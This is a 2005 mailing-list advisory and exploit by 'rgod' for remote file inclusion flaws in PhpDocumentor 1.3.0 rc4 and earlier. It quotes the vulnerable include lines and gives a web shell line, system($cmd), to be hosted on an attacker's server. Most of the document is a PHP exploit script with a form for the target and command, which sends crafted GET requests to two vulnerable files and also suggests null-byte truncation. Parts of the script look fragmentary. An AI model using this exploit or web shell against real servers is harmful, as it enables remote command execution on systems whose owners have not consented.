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PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion
From: retrogod () aliceposta it
Date: 29 Dec 2005 13:47:29 -0000

---- PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion ---

site: http://www.phpdoc.org/
description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu,
is the current standard auto-documentation tool for the php language.
Similar to Javadoc, and written in php, phpDocumentor can be used from
the command line or a web interface to create professional
documentation from php source code."

i) vulnerable code in Documentation/tests/bug-559668.php at line 4:

require_once $FORUM['LIB'] . '/classes/db/PearDb.php';


if register_globals on and allow_url_fopen on

where on http://[attacker]/classes/db/PearDb.php/index.html
you have this code:

<?php system($cmd);?>

also, if magic_quotes_gpc off:
ii) vulnerable code in docbuilder/file_dialog.php at lines 49-56:

    * common file information
        include_once("$root_dir/phpDocumentor/common.inc.php");        [!]
        include_once("$root_dir/HTML_TreeMenu-1.1.2/TreeMenu.php");    [!]
        include_once("$root_dir/docbuilder/includes/utilities.php" );  [!]

    $root_dir = dirname(dirname(__FILE__));                            [!!!!!!!!]


where on http://[attacker]/phpDocumentor/common.inc.php/index.html
you have the same code

#   ---phpdocu_130rc4_incl_xpl.php                            13.06 29/12/2005 #
#                                                                              #
#              PhpDocumentor <= 1.3.0 rc4 remote commands execution            #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
# Sun-Tzu: "Confront your soldiers with the deed itself; never let them know   #
# your design.  When the outlook is bright, bring it before their eyes; but    #
# tell them nothing when the situation is gloomy."                             #

ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>**PhpDocumentor <= 1.3.0 rc4 remote commands execution**
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
**PhpDocumentor <= 1.3.0 rc4 remote commands execution**</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank";>
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"   action="'.$SERVER[PHP_SELF].'">           <p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpdocumentor/  or just / ) </span></p><p><input type="text" name="CMD">  <span
class="Stile5"> * specify a command     </span></p>    <p>    <input type="text"
name="LOCATION"><span class="Stile5">* remote location ( ex: http://www.somesite
.com, without traling slashes)</span></p><p><input type="text" name="port"><span
class="Stile5">specify  a  port other than  80 (default value)</span> </p>   <p>
<input  type="text" name="proxy"><span class="Stile5">send  exploit  through  an
HTTP proxy (ip:port)</span> </p> <p>          <input type="submit" name="Submit"

function show($headeri)
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    if ($ji==16) {
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".$headeri[$li+$ki]."</td>";
      echo "</tr><tr>";
    if (strlen($datai)==1) {
      echo "<td>0".$datai."</td>";
    else {
      echo "<td>".$datai."</td> ";
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".$headeri[$li]."</td>";
  echo "</tr></table>";

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";

function sendpacketii($packet)
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    if (!$ock) {
      echo 'No response from proxy...';die;
  if ($proxy=='') {
    while (!feof($ock)) {
  else {
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  fclose($ock);echo nl2br(htmlentities($html));

$port=$_POST[port]; $CMD=$_POST[CMD];

if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>''))
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

  $packet="GET ".$p."Documentation/tests/bug-559668.php?cmd=".$CMD."&FORUM[LIB]=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; die;}
                           else {echo "Trying Step 2...<br>";}

  $packet="GET ".$p."docbuilder/file_dialog.php?cmd=".$CMD."&root_dir=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: SnoopRob/x.x\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; }
                           else {echo "Exploit failed...";}
{echo "Note: on remote location prepare this code in<br>
        and in<br>
 echo  nl2br(htmlentities("
  echo "<br>Note 2: if magic_quotes_off on target server<br>
        you can truncate location name with a null char, ex.:<br>
        Fill * required fields, optionally specify a proxy...";}



site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original adivsory: http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html

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